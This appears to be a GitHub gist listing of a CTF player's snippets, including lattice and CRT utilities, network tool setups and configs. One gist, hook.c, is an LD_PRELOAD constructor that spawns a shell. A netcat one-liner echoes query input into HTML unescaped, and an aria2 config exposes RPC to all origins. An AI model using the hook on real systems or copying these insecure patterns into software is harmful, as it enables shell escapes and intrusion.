Skip to content

Instantly share code, notes, and snippets.

View maple3142's full-sized avatar

maple maple3142

View GitHub Profile
@maple3142
maple3142 / aria2.conf
Last active May 6, 2024 16:44
aria2 on Windows configuration
rpc-secret=maple3142
enable-rpc=true
rpc-allow-origin-all=true
rpc-listen-all=true
max-concurrent-downloads=5
continue=true
max-connection-per-server=16
min-split-size=10M
split=10
max-overall-download-limit=0
@maple3142
maple3142 / example.sage
Last active May 1, 2024 09:50
LLL/CVP utilities
from lll_cvp import *
from functools import partial
def example1():
# copied from https://github.com/rkm0959/Inequality_Solving_with_CVP/blob/main/Example%20Challenge%204%20-%20HITCON%20CTF%202019%20Quals%20-%20not%20so%20hard%20RSA/solve_challenge_4.sage
## Example 4 : HITCON CTF 2019 Quals not so hard RSA
## d is 465 bits
@maple3142
maple3142 / hook.c
Last active April 1, 2024 16:22
generic LD_PRELOAD shell hook example
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
__attribute__((constructor)) void init() {
putenv("LD_PRELOAD=");
system("sh");
exit(0);
}
// gcc -shared -fPIC hook.c -o hook.so -ldl -Os -s -Wall
@maple3142
maple3142 / a.js
Created March 31, 2024 03:47
wasm debug helper functions
const mem = new Uint8Array(Module.asm.memory.buffer)
function encode(str) {
return new TextEncoder().encode(str)
}
function decode(arr) {
return new TextDecoder().decode(arr)
}
@maple3142
maple3142 / crt_test.sage
Last active March 27, 2024 01:11
crt test coefficient
from tqdm import tqdm, trange
from Crypto.Util.number import getPrime
ps = [getPrime(128) for _ in trange(600, desc="Generate primes")]
P = prod(ps)
T = [(P // p) * inverse_mod(P // p, p) for p in tqdm(ps, desc="Fast CRT coefficients")]
Tslow = [
crt([0] * i + [1] + [0] * (len(ps) - i - 1), ps)
for i in trange(len(ps), desc="Slow CRT coefficients")
@maple3142
maple3142 / README.md
Last active March 22, 2024 05:33
poor man's ngrok with cloudflared and mitmproxy

Poor man's ngrok

Prequisites

  • zsh
  • python3
  • tmux
  • cloudflared
  • mitmproxy
@maple3142
maple3142 / README.md
Last active March 15, 2024 12:31
ctf python env
conda create --name ctf sage=10.2 -c conda-forge
pip install web3 pwntools numpy z3-solver==4.11.2.0 httpx fastecdsa pytesseract pyshark flask-unsign flask-unsign[wordlist] binteger websockets pycryptodome ecdsa black gunicorn websockets waitress git-dumper ptrlib gunicorn[gevent] ropper tqdm flask r2pipe PyExifTool python-docx pillow numpy pycurl galois networkx pyshark gradient-free-optimizers bottle playwright

with more ml stuffs:
conda create --name ctf sage=10.2 -c conda-forge scikit-learn pandas pytorch matplotlib torchvision torchaudio pytorch-cuda=11.8 -c pytorch -c nvidia

# not supported by Python 3.11
# pip install cvc5
@maple3142
maple3142 / server.sh
Last active March 14, 2024 06:55
one line webserver, tested in zsh and bash
while true; do mkfifo pipe; stdbuf -o0 cat pipe | nc -lv 7777 | ( read line; reqpath="$(echo "$line" | sed -nE 's/GET ([^ ]*) HTTP.*/\1/p')"; echoparam="$(echo "$reqpath" | cut -d '?' -f2 | awk 'BEGIN { RS="&"; FS="=" } { if ($1 == "echo") print $2 }')"; response=$echoparam; if [[ $reqpath == '/' ]]; then response='<form><input name="echo"><button>Echo</button></form>'; fi; printf 'HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n'; printf '%s' "$response" ) > pipe; rm pipe; done
@maple3142
maple3142 / example.conf
Created March 14, 2024 04:47
Cloudflare warp example config that works in WSL2
[Interface]
PrivateKey = REDACTED
Address = 172.16.0.2/32
MTU = 1280
[Peer]
PublicKey = REDACTED
# 0.0.0.0/0 - (0.0.0.0/8, 10.0.0.0/8, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.168.0.0/16, 240.0.0.0/4, 162.159.192.1/32, 1.1.1.1/32) + 172.16.0.0/24
# 162.159.192.1 is for engage.cloudflareclient.com
# reference: https://github.com/ViRb3/wgcf/issues/42, https://www.procustodibus.com/blog/2021/03/wireguard-allowedips-calculator/
@maple3142
maple3142 / README.md
Last active March 8, 2024 08:47
Rootless Tailscale

Running tailscaled

Download static tailscaled binary here

TAILSCALED_SOCKET="/tmp2/$USER/tailscaled.sock"
TAILSCALED_STATE="tailscaled.state"
./tailscaled --tun=userspace-networking --state="$TAILSCALED_STATE" --socket "$TAILSCALED_SOCKET"